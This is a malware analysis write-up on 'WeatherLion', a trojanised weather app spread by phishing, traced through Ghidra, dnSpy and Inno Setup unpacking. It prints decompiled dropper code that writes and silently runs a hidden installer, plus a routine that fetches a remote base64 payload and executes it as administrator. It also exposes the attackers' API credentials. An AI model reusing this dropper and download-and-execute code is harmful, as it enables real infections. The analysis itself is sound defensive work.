WeatherLion

  1. Spam And Phishing At Bowdlerize

  2. Sample Acquisition

  3. Camoflage Tactics

  4. WeatherLion Launcher

  5. Inno Setup Installation

  6. Fetching Second Stage Payloads

  7. Priming A Reverse Shell

  8. Hashes And Auto-Analysis





Spam And Phishing At Bowlderize

This writeup was originally composed for colleagues with a casual interest in malware, but no analysis experience. It emphasizes process and tools with intent to serve as a reverse engineering primer, as well as proof that “trial and error” is as much methodology as the inquisitive hobbyist requires. In deference to the venue shift from a private Slack channel to the open internet, I'll refer to the enterprise that was beset by WeatherLion malware as a fictitious online marketplace called Bowdlerize.

Bowdlerize Buyers and Sellers exchange millions of messages daily. A slice of this chatter is spam: coupon blasts, donation overtures, and gallons of e-marketing snake oil. While spam degrades user experience and Bowdlerize Security strives to curb it, come-ons like GET 50K INSTA FOLLOWERS FOR $1!!!!! skew more towards irksome than dangerous.

Predatory phishing attempts are the exception. A “phish” signifies any ruse devised to trick a victim into compromising themselves. Faux Bowdlerize login and checkout pages are common traps, as shown in the screenshot below. Note the URL, makeitaccess.com.



A small subset of phishers use Bowdlerize to distribute malware. Malware is a catchall term for malicious software. It’s often used interchangeably with the phrase “computer virus”. Weaponized viruses, such as the notorious NotPetya, are purely destructive. Cash, however, rules everything around most pernicious code. Just as carjackers jack cars and pickpockets differ from lock pickers, so variants of malware specialize in their methods and quarry. Some, for instance, steal CPU cycles in order to mine cryptocurrency. Others log keystrokes or hold data for ransom. Bowdlerize’s attackers tend to circulate Remote Access Trojans (RAT), malware that empowers bad actors to control infected machines from afar.

Sustained return on investment is the allure of infecting machines. A filched credit card can be promptly canceled, login credentials cycled. A foothold in a victim’s computer, however, provides criminals with perpetual access to whatever treasure may materialize.




Sample Acquisition

The topic of this report is a strain of malware that I call WeatherLion, which is the name of the bogus application that was distributed to Sellers via Bowdlerize convos. It was disseminated by a group internally known as Syncfile. Syncfile has been sporadically targeting Bowdlerize since at least October, 2019, usually trafficking in commodity malware called Trickbot. Though Syncfile sometimes picks on Bowdlerize admins, the gang prefers targeting Sellers. Syncfile may not write its own code from scratch. For ease of reference, however, I’ll refer to them as WeatherLions’s collective author.

The particulars of Syncfile’s bait are always in flux in order to evade keyword detection filters. The core scheme, however, is consistent. First Syncfile takes over a long-tenured Buyer account with site credibility. Next they message Sellers expressing intent to place an order. At some point in the ensuing dialogue, which can consist of many exchanges, Syncfile dangles a link to the listings that they claim to desire.

The screenshot below shows bait from the WeatherLion campaign. You can see that Syncfile cut to the chase by including a malicious link in their first message, rather than gradually building trust through conversation. Perhaps to compensate for this haste, Syncfile burnished their scrim of legitimacy by registering the domains bowdlerize.eco, bowdlerize.chlen, and bowdlerize.lol. Eager to provide good customer service and to make a sale, many of the several thousand contacted Sellers engaged.


A full link looks like hxxps://bowdlerize.eco/?dcum133791321. Usually Syncfile routes incoming traffic through an intermediary service that logs victims’ IP addresses, checks their User Agent string, and rejects requests if the system does not appear to be running Windows, which is the platform upon which Syncfile’s malware preys. This campaign didn’t involve any such pre-filtration. Rather, requests were redirected to a range of hacked websites on which Syncfile had clandestinely hosted WeatherLion malware. Users who clicked a malicious link were prompted to download a file, which, with the anticipation of a longtime Syncfile aficionado, I did.




Camoflage Tactics

At a glance, WeatherLion evinces several departures from Syncfile’s norms. Principally, it’s an application rather than a raw .exe file. The application’s icon resembles the icon of iOS’ “Weather” app. The familiarity of this design perhaps lowers victims’ guard and raises the odds of an unwitting double-click.


Layering on impersonation, the WeatherLion app is signed by a digital certificate that was issued to a company named “Ithought Danmark Apps”, as shown in the screenshot below. Ithought Danmark Apps is a small healthcare startup based in Denmark. Syncfile stole or nefariously procured this certificate and used it to “prove” that their software was written by a venerable enterprise. Said certificate has been revoked by its issuing Certificate Authority, DigiCert.




Though camouflaged by a cert and a disarming icon, WeatherLion demonstrates a cavalier attitude towards its own viability. For example, it requires Administrator privileges to launch. This mandate is surprising; even guileless targets are likely to pause before granting elevated permissions to an unknown program. Further, WeatherLion’s is packaged for 64-bit architecture, rendering 32-bit systems immune to infection. My analysis VM is not among that invulnerable number. Kicking off a cursory investigation with all the hubris of an “expert” in Syncfile’s moves, the first of many snapshots was torched within clicks.






WeatherLion Launcher

Static Analysis

There’s often much to be learned about a piece of malware by studying the file at rest. This process is called static analysis. I always perform static analysis on a sample before attempting to evaluate the program in execution, a practice called dynamic or behavioral analysis. Ideally static analysis yields enough information about what a file is and does to guide dynamic probing.

Ghidra, a free environment that combines a disassembler, a decompiler, and a debugger, is my go-to tool for static review. File structure, in turn, is the first attribute that I examine. Windows executables abide the portable executable, or PE file format. Microsoft has documented this standard in detail. Because so many devs have so assiduously traversed PEs over the decades, there are also a great many unofficial, expertly-informed paeans to the PE online.

A boilerplate PE has nine sections. For example, a PE’s .text section holds executable code, while the .rsrc section contains resources, such as images. Segmenting the contents of a file makes sense for the same reason that keeping separate silverware and sock drawers is advisable. In addition to organizational benefits, each PE section has permissions germane to its purpose. The key underlying principle is that a page of memory should never be simultaneously writable and executable. Without this safeguard, unprivileged malware could simply write wickedness into extant executable memory and call it a pwn.

When a PE runs, each of its sections is mapped contiguously into the virtual memory that the kernel has allocated to the new process. PE headers represent a blueprint for that mapping, and so, an overview of the file. Ghidra parses these headers in order to display the layout of the file. Oddly, WeatherLion is organized into just three sections:.text, .rsrc, and .reloc.



Noticeably absent are the .data and .rdata sections. The former holds uninitialized data such as structures that will be populated with values at run time. The latter holds initialized data such as hardcoded strings. It’s impossible to imagine an application that would not require such information, and so our first rabbit hole yawns before us.

Ghidra’s Symbol Tree pane, shown below, lays a plank across that abyss. The view shows that MSCOREE.DLL is the only library that WeatherLion imports. Put another way, MSCOREE.DLL is WeatherLion’s sole direct dependency. Further, _CorExeMain is the lone linked function.




Concise imports lists are the norm for malware. This is because shady code reliably smuggles dependencies into memory by fetching them at run time. Injected libraries are not visible during static analysis. Sneaky! One import, however, is implausible enough to arch the brow of even the most credulous reverse engineer. Attracting attention would be self-defeating, so there must be some legitimate explanation for this svelte catalog.

It just so happens that .text, .rsrc, and .reloc are the three default sections of the extended PE format, also known as .NET assemblies. Further, MSCOREE’s _CorExeMain function is essential for building the .NET framework. In fact, Ghidra illustrates that WeatherLion immediately calls _CorExeMain in order to launch a .NET runtime. How, you might wonder, can we know WeatherLion’s call sequence without running the file? The offset where code execution begins is stored in the AddressOfEntryPoint property of the NT_IMAGE_OPTIONAL PE header. This location is colloquially referred to as “entry”.




WeatherLion’s entry function is thunked. Also known as “trampoline functions”, thunked functions bounce code flow along to another function. The Ghidra screenshot above shows that when the CPU’s instruction pointer reaches entry, it jumps (JMP) to the address of MSCOREE.DLL::_CorExeMain, which hoists up the .NET runtime.

Before tailing WeatherLion into the walled garden of said runtime, we’d be remiss not to evaluate its manifest. Every .NET application has a manifest, an XML configuration file typically stored in binary as a resource in the .rsrc PE section. The free tool Resource Hacker displays it plainly.




Cyrillic comments suggest Russian provenance. It would be naive, however, to trust signal so easily fabricated with Google Translate, истинный? Even elite threat intelligence firms shy from publicly assigning attribution due to the sophistication of false flags that attackers plant to deflect blame, as well as the prevalence of code reuse among malware variants.

Ultimately the Cyrillic is a curio, an artifact that the attackers either cagily deposited, or, more likely, forgot to scrub. Regardless, it humanizes them. Their personality sharpens with each piece of digital litter. Take the name of the app itself, MyApplication.app, which is encoded on line 3 of the manifest. Safe to say, MyApplication.app is a default value. This placeholder strains WeatherLion’s guise of legitimacy. How many programmers, after all, would overlook naming their software before distributing it? Neglecting to replace a stub name with a bespoke one suggests that whoever packaged WeatherLion is less than fastidious, and so may demonstrate that same carelessness, to our benefit, elsewhere.

The manifest does yield a practically useful property. As noted earlier, WeatherLion insists upon running with Administrator privileges. That requirement is asserted on line 19: requestedExecutionLevel level="requireAdministrator" uiAccess="false".

We can use Resource Hacker to both modify this attribute to asInvoker and recompile the resource, enabling us to run WeatherLion as a regular user, a comfort at this stage, since we don’t yet know what the dodgy code attempts.

Dynamic Analysis

When I began analyzing WeatherLion, I was unaware of the extended PE format and unfamiliar with .NET conventions. As a result, I repeatedly confused status quo operations with malicious hijinx. For example, studying WeatherLion in my favorite free debugger, x64dbg, its PE sections appear jumbled in virtual memory. Viewing a standard PE, sections such as .text are defined in memory, as seen for mscoree.dll below.



By contrast, WeatherLion's sections appear undifferentiated. Notice that there are no.text, .rdata, or .reloc tags in the "Info" column.



I became convinced that Syncfile had botched generating custom sections, and bloodied my forehead against the bricks of this impasse for weeks. To the same end, the .NET runtime builds the Import Address Table (IAT). This honor is usually reserved for a system called the image loader, which runs before application code just as surely as Windows Me preceded Windows XP. Again, I flung myself into proving the fallacy that WeatherLion tampers with IAT parsing in order to inject a payload.

Dead ends lead to flailing, flailing to spinning wheels, spinning wheels to scrolling through yellowed blog posts and tracking across umpteen YouTube tutorials towards enlightenment. Relief from utter ignorance, however, will sometimes do. Today I know just enough to state that .NET was inspired by Java, and that .NET languages such as C#, F#, and Visual Basic can be compiled to Common Intermediate Language (CIL), which is conceptually akin to Java bytecode. At run time, a just-in-time compiler (JIT) compiles the CIL into ones and zeros. This means that we should be able to decompile WeatherLion.exe back to its C# source.

The free tool dnSpy facilitates exactly this transformation. After loading WeatherLion into dnSpy, we can examine the C# as if we were developers tasked with patching it. The main function, shown in full below, reveals WeatherLion to be a wrapper for a launcher. First main deletes a file called Install.exe if it exists in the current directory. Next it writes a hidden file (akin to nix dotfiles) called Install.exe out of bytes streamed from the resource Resource1.mysetup. Finally, WeatherLion spawns a new process in which Install.exe executes.

// Project1.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x0000025
public static void Main(string[] args)
{
  string path = Path.Combine(Directory.GetCurrentDirectory(), "Install.exe");

  try {
      File.Delete(path);
  } catch {}

  using (FileStream fileStream = new FileStream(
      path,
      FileMode.CreateNew,
      FileAccess.Write
      )
  )
  {
      byte[] mysetup = Resource1.mysetup;
      fileStream.Write(mysetup, 0, mysetup.Length);
  }

  File.SetAttributes(path, FileAttributes.Hidden);

  new Process
  {
      StartInfo =
      {
          FileName = "Install.exe",
          Arguments = "/VERYSILENT /SUPPRESSMSGBOXES /NORESTART",
          UseShellExecute = true,
          Verb = "runas"
      }
  }.Start();
}


Setting a breakpoint on Start() in dnSpy allows us to capture and examine Install.exe, vintage icon and all, before it runs.



Install.exe...🤔 In the words of a certain LiteraryLion, the filename begs an overwhelming question.

Oh, do not ask, “What is it?”
Let us go and make our visit.






Inno Setup Installation

Our first stop is binvis.io, a free service that visualizes entropy in binaries. Red represents utmost entropy. Install.exe, apparently, is chaos.



Or very uptight. High entropy suggests compression. Compressed data is, alas, inscrutable until decompressed. It would be a boon to unpack and examine Install.exe’s payload without actually running the dangerous file. Doing so requires excising compressed bytes from surrounding data, an operation abetted by the free command line utility binwalk. Passing the script’s --entropy switch spotlights where to begin carving by indicating that compression jumps to nearly 100% at the file offset 0xBEC00.

binwalk --entropy install.exe

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------
0             0x0             Falling entropy edge (0.607298)
781312        0xBEC00         Rising entropy edge  (0.996648)


The output of binwalk’s --fast option estimates that a region of 8,388,608 bytes has been compressed using the LZMA algorithm.

binwalk --fast install.exe

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------
0             0x0             Microsoft executable, portable (PE)
778516        0xBE114         XML document, version: "1.0"
11955004      0xB66B3C        LZMA compressed data, properties: 0x5D,
dictionary size: 8388608 bytes, missing uncompressed size


Equipped with the address where compression starts and the size of the compressed section, we have the information necessary to extract the archive. Because we also know that the bytes were deflated with the LZMA algorithm, we can, in theory, inflate them using a free application like The Unarchiver. Unfortunately, no such luck.




Instead of belaboring this surgical approach, I turned to static analysis for clues about the nature of the packed code.

Unlike terse WeatherLion.exe, Install.exe’s imports candidly foretell how the file operates. The free utility Dependency Walker generates a comprehensive inventory of required libraries by recursively sussing out dependencies, the dependencies of dependencies, the dependencies of those dependencies, ad infinitum. This trove of requirements is nested in dropdowns for each DLL, as shown in the two screenshots immediately below.



To emphasize how much insight imported functions can provide, consider that if we were on a deadline, we could eyeball the imports list and note that Install.exe calls KERNEL32.DLL::CreateProcessW.



It’s reasonable to assume that CreateProcessW is invoked once the malware is prepared to execute its decompressed payload. By placing a breakpoint on the address of CreateProcessW in a debugger, we could thus acquire said payload without infecting ourselves. Salient imports beyond CreateProcessW abound. VirtualAlloc (not shown), for instance, implies that Install.exe initializes new regions of virtual memory. Perhaps it will write its inflated payload into this virgin real estate. The presence of VirtualProtect (not shown) lends credence to that hypothesis. VirtualProtect modifies the protection level of pages of memory. Install.exe could call it to make fresh Read/Write regions Executable.

Navigating to the call sites of red-flag methods in Ghidra is an effective tactic for surveying the lay of Install.exe. The free tool API Monitor enhances that insight by capturing library calls as the file runs, rendering a grainy portrait of the malware’s activity. I qualify “grainy” because extensive code may execute in the intervals between library calls. Though coarse, API Monitor nonetheless provides an invaluable middle perspective between high-level static analysis and low-level debugging.

Install.exe’s first compelling function call is FindResourceW, shown on line 2,492 of the API Monitor screenshot below. FindResourceW returns the virtual address of the desired resource, 0x4C7450, while the subsequent call to SizeOfResource tells us that the resource is 44 bytes large.



A PE’s .rsrc section is organized as a tree. Leaf nodes are IMAGE_RESOURCE_DATA_ENTRY structs, which have an OffsetToData property. Ghidra shows us that the OffsetToData value for our node is 0XCA924 (the “h” signifies “hex”).



The address from which we’re offsetting is 0x400000, the default ImageBase for Windows. Adding 0xCA924 to 0x400000 gives us the relative virtual address (RVA) 0x4CA924, which is the location of the data itself.



My initial misapprehension was that Install.exe must leverage this resource to transform read-only data into code. In fact, the resource is a table used to locate and inflate various components necessary for the installation of the WeatherLion application. For example, the map stores the offset of a compressed file called setup.exe, as well as its expected decompressed size. With these data, Install.exe can allocate sufficient virtual memory for setup.exe, then fetch and unpack the file.

I eventually discovered what I believe to be the source code for this table, called TSetupLdrOffsetTable, on GitHub, as well as the unpacking method itself. The TSetupLdrOffsetTable structure is shown in full below.

{ TSetupLdrOffsetTable is stored inside SetupLdr's SetupLdrOffsetTableResID
RCDATA resource }

PSetupLdrOffsetTable = ^TSetupLdrOffsetTable;
TSetupLdrOffsetTable = packed record
   ID: array[1..12] of AnsiChar;   { = SetupLdrOffsetTableID }
   Version: LongWord;              { = SetupLdrOffsetTableVersion }
   TotalSize: LongWord;            { Minimum expected size of setup.exe }
   OffsetEXE: LongWord;            { Offset of compressed setup.e32 }
   UncompressedSizeEXE: LongWord;  { Size of setup.e32 before compression }
   CRCEXE: Longint;                { CRC of setup.e32 before compression }
   Offset0: LongWord;              { Offset of embedded setup-0.bin data }
   Offset1: LongWord;              { Offset of embedded setup-1.bin data,
                                   or 0 when DiskSpanning=yes }
   TableCRC: Longint;              { CRC of all prior fields in this record }
end;


Puzzling out the role of TSetupLdrOffsetTable prior to finding its source led to the most enjoyable and edifying aspect of this endeavor, an immersion in Cyclic Redundancy Check (CRC) routines. CRC is a common approach to validating the integrity of transmitted messages. Install.exe uses a CRC32 routine, so-called because it vets 32 bits per iteration, to evaluate TSetupLdrOffsetTable itself for corruption, and then, to loopingly verify that chunks of data fetched via TSetupLdrOffsetTable’s offsets are sound. The CRC formula is:

T = transmitted message
P = generator polynomial
W = bitlength of P

(T + (W zero bits)) ÷ P = quotient and remainder

The quotient is discarded, and the remainder is appended to the original message as a checksum. CRC introduces a quirk in that its division is not regular long division, but rather, polynomial no-carry division, which I won’t clumsily summarize when Ross N. Williams’ A Painless Guide to CRC Error Detection Algorithms, is a click away.

My tipoff that Install.exe is principally devoted to quality assurance was a curious value, 0xEDB88320, hardcoded in a subroutine of the first function that operates on TSetupLdrOffsetTable. You can see Ghidra’s decompiled view of this subroutine below, with 0xEDB88320 on line 20.



A web search demystified 0xEDB88320 as the CRC generator polynomial (i.e. “divisor”, or “P” in the formula above) specified in IEEE 802.3. The function in the screenshot is not itself a CRC32 check, but rather a preliminary optimization. It precomputes a lookup table of substitution bytes that accelerates CRC32 checks down the line.

It would be admirable of Syncfile to implement a CRC32 check. Such scruple, however, seemed uncharacteristic of a group that neglected to name their own application. This dissonance drove a nagging hunch that Syncfile did not author Install.exe. The clue that confirmed this theory, and that illuminated a bevy of indicators that I’d missed or ignored, was, naturally, a string.

Remember when I tried to carve LZMA-compressed bytes out of Install.exe, but was unable to decompress them with The Unarchiver? I couldn't resist eyeballing those bytes in a hex editor. Here are the first 80:



The name “Inno Setup” rang a bell. When the original WeatherLion executable spawned a process in which to run Install.exe, it passed three command line arguments: VERYSILENT, SUPPRESSMSGBOXES, and NORESTART. VERYSILENT and SUPPRESSMSGBOXES work in tandem to prevent the victim from seeing a setup wizard, progress bar, and other communiques commonly displayed during installs. NORESTART prevents the system from rebooting after a successful installation. Collectively, the options orchestrate clandestine installation.

I found these parameter definitions in the online documentation of Inno Setup, “...a free installer for Windows programs by Jordan Russell and Martijn Laan.” Though I clocked Inno Setup in the flush of early investigation, I barreled right past it. Returning to RTFM, I realized what many Windows doyens would have recognized immediately: Install.exe is Inno Setup software.

Confidence that Install.exe is benign, third-party freeware lifts the onus of reversing it comprehensively. Instead we can fire up API Monitor and simply watch Inno Setup do its thing. First it creates a temporary directory at C:\Users\shayne\AppData\Local\Temp\is-UFCQP.tmp. The “is” prefix stands for “Inno Setup”, and the 5-char directory name, “UFCQP”, changes with each install.



Next Inno Setup creates a file called Install.tmp in that directory. Note that Install.tmp is distinct from Install.exe. Install.tmp is incrementally populated with data and written to disk, after which Install.exe launches an InnoSetupLdrWindow. Recall that Syncfile chose to suppress this window with the VERYSILENT and SUPPRESSMSGBOXES arguments. By tweaking those params, we can display the GUI.



By and by, just as Dependency Walker foretold, Install.exe runs Install.tmp with a call to CreateProcessW. Once the process is launched, Install.exe cleans up after itself by deleting the is-UFCQP.tmp directory and the Install.tmp file. Interestingly, the command line argument, shown below, dictates intercommunication between the parent process, Install.exe, and its child processes, Install.tmp.

CreateProcessW (
    applicationName=NULL,
    commandLine=""C:\Users\shayne\AppData\Local\Temp\is-UFCQP.tmp\Install.tmp"
    /SL5="$40A3E,11955019,780800,C:\Users\shayne\Desktop\samples\Install.exe"",
    processAttrs=NULL,
    threadAttrs=NULL,
    inheritHandles=FALSE,
    creationFlags=CREATE_SUSPENDED,
    environment=NULL,
    currentDirectory=NULL,
    startupInfo=0x0019fe94, // stack variable
    processInfo=0x0019fe84  // stack variable
)


The Inno Setup lead unlocks new avenues of inquiry. Of particular interest is the free command line script innoextract, “...a tool to unpack installers created by Inno Setup.” Hallelujah! Passing innoextract Install.exe and the --list option returns an index of the files that are documented in the Inno Setup config. The first few lines look as such:

Listing "WeatherLion" - setup data version 6.1.0 (unicode)
- "app\WeatherLion.exe" (5.18 MiB
- "app\EntityFramework.dll" (4.98 MiB)
- "app\EntityFramework.SqlServer.dll" (607 KiB)
- "app\EntityFramework.SqlServer.xml" (154 KiB)


Though few of the 171 files are populated with data, the census of their paths furnishes a granular preview of WeatherLion before it has been installed. For example, files like app\System.Data.SQLite.dll indicate that the app uses sqlite for persisting data in local databases like app\res\storage\wak.db. Similarly, innoextract’s sneak peek reveals that configuration info is stored in xml files such as app\res\settings\config.xml and app\res\settings\preferences.xml. Collectively, the output exposes files of interest that we can target for analysis once WeatherLion is written.

Because we know that Install.tmp is Inno Setup software, let’s thunk to call 14,681, ShellExecuteExW, and check out the WeatherLion application proper.




Fetching Second Stage Payloads

The WeatherLion application is written to C:/Users/shayne/AppData/Roaming/WeatherLion/. The screenshot below shows its contents in the Windows File Explorer.



WeatherLion is a .NET application, which means that we can recruit dnSpy to decompile it into C#. Remember that our first WeatherLion.exe file was a launcher. This WeatherLion.exe is an application, outfitted with its very own, very ire icon.



The entry point is WeatherLion.Program.Main, shown in full below.

private static void Main()
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    Application.Run(new WidgetForm());
}


Application.Run takes one argument, an instance of the WidgetForm class. Instantiating WidgetForm is where the action happens; its very first call is to WeatherLionMain.Launch. This function sets up databases, ensures Internet connectivity, and determines the geolocation of the victim’s machine by contacting various URLs. The free packet capture tool Wireshark is ideal for monitoring this network traffic. Wireshark shows WeatherLion discovering the IP address of its host with a GET request to ifconfig.me/ip, which returns an IP as a string.

GET /ip fetches the victim's IP address.


WeatherLion then sends this IP address to api.ipstack.com for supplementary information such as country_name, region_name, city, and zip. Syncfile’s API key, 1bb227db8f2dca1b9a3917fb403e2e99, is active at time of this writing, and can be used to fetch data about arbitrary IPs. The ipstack service allots members 5,000 free requests per month. By logging into their ipstack account, Syncfile can see the IPs of infected devices and measure their success rates.

The redacted value is the victim's IP address.


Eventually WeatherLion passes the city value that it receives from api.ipstack.com as a GET parameter to api.geonames.org. Syncfile’s username, “17sky”, seen below, is live and usable.

The redacted value is the victim's city.


All of this activity is justifiable for a weather application, which, after all, requires geolocation in order to proffer relevant information. Without the context that WeatherLion was distributed by known attackers via phishing messages containing links that spoof Bowdlerize’s domain and redirect to hacked WordPress sites, I might even have become a WeatherLion user, because the app does indeed function. This fact, compounded by tidbits such as the wonderfully exuberant “About” section of WeatherLion’s preferences, shown below, suggest that Syncfile retrofitted a legitimate app for insidious purposes.



At this point, Syncfile has achieved four milestones. First, WeatherLion has persistence; it’s installed. Second, it runs with Administrator privileges. Third, it can receive updates and exfiltrate spoils over the Internet. Finally, data-driven Syncfile can leveralge api.ipstack.com analytics to gauge the “conversion rate” of their campaigns and tune improvements.

With these prerequisites dispatched, the WidgetForm constructor spawns a worker thread. This Task naps for 4,000 milliseconds (4 seconds), and then calls Program.GetUpdates.

this.running = true;
WidgetForm.m_instance = this;
WeatherLionMain.runningWidget = WidgetForm.GetInstance();
Task task = new Task(delegate()
{
    Thread.Sleep(4000);
    Program.GetUpdates();
});
task.Start();


Program.GetUpdates, shown in full below, requests a resource located at hxxps://raw.githubusercontent.com/venusvenson/testov/main/testop. This URL now 404’s thanks to GitHub’s intervention. When WeatherLion was circulated, however, the call returned the string “none”, which caused the function to quit. It seems reasonable to assume that Syncfile planned to host a second-stage payload, such as a keylogger, at the URL. Infected machines would dutifully fetch this malicious code, write it to a file innocuously named update.exe, and run the exploit as Admin.

public static void GetUpdates()
{
    try {
        string text = new
        WebClient().DownloadString("hxxps://raw.githubusercontent.com/venusvenson/testov/main/testop").Trim();
        bool flag = text == "none";
        if (!flag) {
            byte[] array = Convert.FromBase64String(text);
            using (FileStream fileStream = new FileStream("update.exe", FileMode.OpenOrCreate))
            {
                fileStream.Write(array, 0, array.Length);
            }
            new Process
            {
                 StartInfo =
                 {
                     FileName = "update.exe",
                     UseShellExecute = true,
                     Verb = "runas"
                 }
            }.Start();
        }
    }
    catch {}
}







Priming A Reverse Shell

Although we can’t know which second-stage payload that Syncfile planned to drop onto infected machines, the group did leave a wink of sorts. WeatherLion comes packaged with a file named update.exe, which launches a PuTTY client. PuTTY is a much-beloved “...free implementation of SSH and Telnet for Windows and Unix platforms, along with an xterm terminal emulator.” Though not preconfigured to do so, it’s the optimal software for opening a reverse shell from victims’ machines to command-and-control infrastructure, delivering ownership of infected devices to Syncfile.








Hashes And Auto-Analysis